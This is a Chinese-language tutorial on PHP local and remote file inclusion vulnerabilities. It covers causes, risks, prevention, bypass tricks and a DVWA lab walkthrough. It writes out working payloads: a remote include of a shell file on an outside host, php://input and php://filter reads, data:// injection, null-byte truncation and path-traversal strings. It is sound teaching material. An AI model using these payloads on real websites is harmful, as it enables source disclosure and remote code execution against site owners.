1. 漏洞简介

1.1 什么是文件包含漏洞

文件包含(File Inclusion)即程序通过文件包含函数调用本地或远程文件以此来实现拓展功能。
被包含文件可以是各种格式,比如文本、图片等等,而当文件里面包含恶意代码,且没有对来源或参数进行严格审查和过滤,就会执行非预期操作。
文件包含漏洞分为本地文件包含(LFI,Local File Inclusion)和远程文件包含(RFl,Remote File Inclusion),区别在于包含文件是放在本地还是远程。

1.2 导致漏洞产生的原因

1.2.1 PHP函数

  • include()在包含过程中出错会报错,不影响执行后续语句
  • include_once()仅包含一次
  • require()在包含过程中出错,就会直接退出,不执行后续语句
  • require_once()

1.2.2 PHP配置

  • allow_url_include
  • allow_url_fopen

1.3 文件包含漏洞危害

  • 执行恶意代码
  • 获取系统敏感信息
  • 篡改网页信息
  • 攻击其它服务器

2. 文件包含漏洞检测

1. 本地文件包含

2. 远程文件包含

3. 利用伪协议进行利用

  • file://
  • http://
  • ftp://
  • php://
  • zlib://
  • data://
  • glob://
  • phar://
  • ssh2://
  • rar://
  • ogg://
  • expect://

3. 文件包含漏洞预防

  • 过滤 \ / . 等特殊字符
  • 配置php.ini,关闭相关配置选项
  • 白名单,仅允许特定的文件
  • 不将文件包含函数对应的文件暴露

4. 文件包含漏洞绕过

  • URL编码
  • 通过../../ 爆破路径
  • 利用长度截断,php版本低于5.2.8
  • 利用特殊字符(中文?,英文?)
  • %00截断,php版本低于5.3.0,magic_quotes_gpc关闭
  • 伪协议(比较有效)
    • 远程包含: 要求 allow_url_fopen=On 且 allow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
    • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
    • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
    • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On
  • 协议绕过
    • allow_url_fopen和 allow_url_include主要是针对 httpftp两种协议起作用,因此可以使用SMBWebDav协议等方式来绕过限制。

5. 靶场练习

5.1 DVWA 文件包含靶场练习

5.1.1 Low 等级

  • 发现直接对url中的page 读取然后进行显示:
notion image
  • 修改?page=../../phpinfo.php
  • 可以得到页面
notion image

5.1.2 Medium 等级

  • 在提交 low 等级的 payload 发现无效果,观察代码发现将../替换为空;
notion image
  • 双写修改?page=....//....//phpinfo.php 绕过
  • 得到phpinfo.php界面

5.1.3 High 等级

  • 观察代码发现,如果文件名字非include.php且正则匹配不符合,则文件不存在
notion image
  • 发现文件必须以file开头,那么则可以利用file协议
  • 修改?page=file:///D:/abc/file.txt 表示打开file.txt,成功实现文件包含

参考文章

 
💡
本文章仅提供学习使用,有任何问题,欢迎您在底部评论区留言,一起交流~
 
 
命令执行漏洞文件上传漏洞